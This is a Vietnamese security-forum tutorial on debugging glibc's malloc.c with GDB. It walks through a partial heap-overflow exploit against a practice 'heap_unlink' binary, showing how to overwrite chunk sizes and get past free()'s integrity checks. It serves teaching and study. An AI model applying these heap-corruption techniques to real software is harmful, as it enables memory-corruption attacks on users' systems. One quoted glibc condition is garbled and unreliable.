GDB: debug source code glibc

T

tmnt53

Guest
GDB: debug source code glibc
Giới thiệu: Bình thường, ta hay khai thác lỗi trong chương trình chính, nhưng đôi khi, có thể hướng tới khai thác một hàm nào đó trong libc. Chẳng hạn, khi ta có thể điều khiển được con trỏ FILE* fp nào đó, và có hàm fread, fwrite, fclose,… thì ta có thể nghiên cứu các hàm này, để khai thác được (fread, fwrite, fclose,… sẽ gọi đến các hàm ảo – là con trỏ hàm trong fp). Hoặc là khi ta khai thác heap, ta triển khai một kịch bản khai thác nhưng bị lỗi, thì có thể debug glibc để hiểu tại sao không khai thác được. Vì vậy hôm nay, mình sẽ hướng dẫn các bạn cách debug glibc.

glibc.png

Đối tượng: cũng giống như bài GDB: Tăng tốc debug bằng script (https://whitehat.vn/forum/thao-luan/exploitation/62128-gdb-tang-toc-debug-bang-script) của mình, lần này mình cũng dùng ví dụ heap_unlink, nên các bạn cần có kinh nghiệm debug bằng glibc và đã từng khai thác heap.
Các bước cài đặt để debug được glibc (mình dùng Ubuntu 14.04):
  1. Cài đặt libc6-dbg: sudo apt-get install libc6-dbg
  2. Để debug được app 32bit: sudo apt-get install libc6-dbg:i386
  3. Cài đặt gói eglibc-source (ubuntu actually uses eglibc): sudo apt-get install eglibc-source.
  4. Giải nén file tar trong /usr/src/glibc: cd /usr/src/glibc; sudo tar xvf eglibc-2.19.tar.xz
Study case: với bài heap_unlink, mình có kịch bản như sau:
  1. Tạo 3 message liên tiếp kích thước 0x100, tương ứng với chunk0, chunk1, chunk2
  2. Edit chunk0, để ghi đè size của chunk1, chuyển size chunk1 thành 0x50
  3. Free chunk1
File exploit.py:


raw_input("waiting")
add(0, 0x100, "chunk0")
add(1, 0x100, "chunk1")
add(2, 0x100, "chunk2")
edit(0, 'A'*0x104+p32(0x50))
remove(1)
p.interactive()

Chạy và debug. Thấy có lỗi:



Menu:
1. Add
2. Edit
3. Remove
4. Display
5. Exit
>>>
3
Input offset of the message (< 100):
1
[*]Switching to interactive mode
*** Error in `./heap_unlink': double free or corruption (!prev): 0x084b6110 ***

Bị lỗi, không free được. Attach gdb vào và chạy lại, được log:

Program received signal SIGABRT, Aborted.
0xf7719cd9 in ?? ()

(gdb) bt
#0 0xf7719cd9 in ?? ()
#1 0xf75c04ba in malloc_printerr (action=,
str=0xf76b2db0 "double free or corruption (!prev)", ptr=0x84b6110)
at malloc.c:4996
#2 0xf75c112d in _int_free (av=0xf76f8420 , p=,
have_lock=0) at malloc.c:3840
#3 0x080487ad in Remove ()
#4 0x080488fb in main ()

Xem call stack, thấy lỗi xảy ra trong malloc.c, ta tìm file này và phân tích. File này nằm trong /usr/src/glibc/eglibc-2.19

root@manh-VirtualBox:/usr/src/glibc/eglibc-2.19# find -name "malloc.c"
./malloc/malloc.c

Phân tích thấy malloc.c:4996 thuộc hàm malloc_printerr, chỉ có nhiệm vụ in ra lỗi.

static void
malloc_printerr (int action, const char *str, void *ptr)
{


/* always abort (action & 1) and (on linux) if bit 1 is set,
emit backtrace */
__libc_message (action & 3, "*** Error in `%s': %s: 0x%s ***\n",
__libc_argv[0] ? : "", str, cp);
}
else if (action & 2)
abort ();
}

Xét tiếp malloc.c:3840, ta vào hàm _int_free:


{
errstr = "free(): invalid pointer";
errout:
if (!have_lock && locked)
(void) mutex_unlock (&av->mutex);
malloc_printerr (check_action, errstr, chunk2mem (p));
return;
}

/* Or whether the block is actually not marked used. */

if (__builtin_expect (!prev_inuse(nextchunk), 0))
{
errstr = "double free or corruption (!prev)";
goto errout;
}

Ta nhận thấy, lỗi sinh ra là do chương trình kiểm tra prev_inuse(nextchunk), nếu prev_inuse(nextchunk) trả về false thì sẽ in ra lỗi (gán errstr = "double free or corruption (!prev)" và nhảy tới errout).

Như vậy, để vượt qua được điều kiện này, ta cần phải sửa chunk1 sao cho prev_inuser(nextchunk) trả về true:
  1. Tạo 3 message liên tiếp kích thước 0x100, tương ứng với chunk0, chunk1, chunk2
  2. Edit chunk0, để ghi đè size của chunk1, chuyển size chunk1 thành 0x50
  3. Edit chunk1, bật bit prev_inuse của chunk sau nó, bằng cách ghi ‘\41’*0x80 (đè hoàn toàn lên size của chunk sau nó, vì size chỉ còn 0x50)
  4. Free chunk1
Exploit.py:


raw_input("waiting")
add(0, 0x100, "chunk0")
add(1, 0x100, "chunk1")
add(2, 0x100, "chunk2")
edit(0, 'A'*0x104+p32(0x50))

edit(1, 'A'*0x80)
remove(1)
p.interactive()

Khi chạy exploit.py, vẫn bị lỗi không free được, nhưng lỗi đã khác:


Input offset of the message (< 100):
1
[*]Switching to interactive mode
*** Error in `./heap_unlink': free(): invalid next size (normal): 0x08570110 **

Log gdb:


Program received signal SIGABRT, Aborted.
0xf77b7cd9 in ?? ()
(gdb) bt
#0 0xf77b7cd9 in ?? ()
#1 0xf765e4ba in malloc_printerr (action=,
str=0xf7750e38 "free(): invalid next size (normal)", ptr=0x8570110)
at malloc.c:4996
#2 0xf765f12d in _int_free (av=0xf7796420 , p=,
have_lock=0) at malloc.c:3840
#3 0x080487ad in Remove ()
#4 0x080488fb in main ()

Phân tích malloc.c tiếp, ta thấy lỗi phát sinh tại đoạn kiểm tra size của nextchunk:

/* Or whether the block is actually not marked used. */
if (__builtin_expect (!prev_inuse(nextchunk), 0))
{
errstr = "double free or corruption (!prev)";
goto errout;
}


nextsize = chunksize(nextchunk);
if (__builtin_expect (nextchunk->size = av->system_mem, 0))
{
errstr = "free(): invalid next size (normal)";
goto errout;
}

Ta thấy đoạn code này nằm dưới đoạn code kiểm tra prev_inuse, chứng tỏ ta đã vượt qua được điều kiện check prev_inuse(nextchunk).

Kết quả: Tuy kịch bản free được chunk0 vẫn chưa xong, nhưng mình đã mô tả được cách để vượt qua điều kiện check prev_inuse. Làm tương tự như vậy, ta sẽ vượt qua được các lỗi khác. Việc cài đặt debug gdb giúp:
  • Cho ta chính xác của phiên bản glibc trong máy, để có thể phân tích mã nguồn
  • Debug động mã nguồn libc (trong ví dụ này chưa rõ; mình sẽ mô tả trong một study case khác).
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Thẻ
debug gdb glibc
Bên trên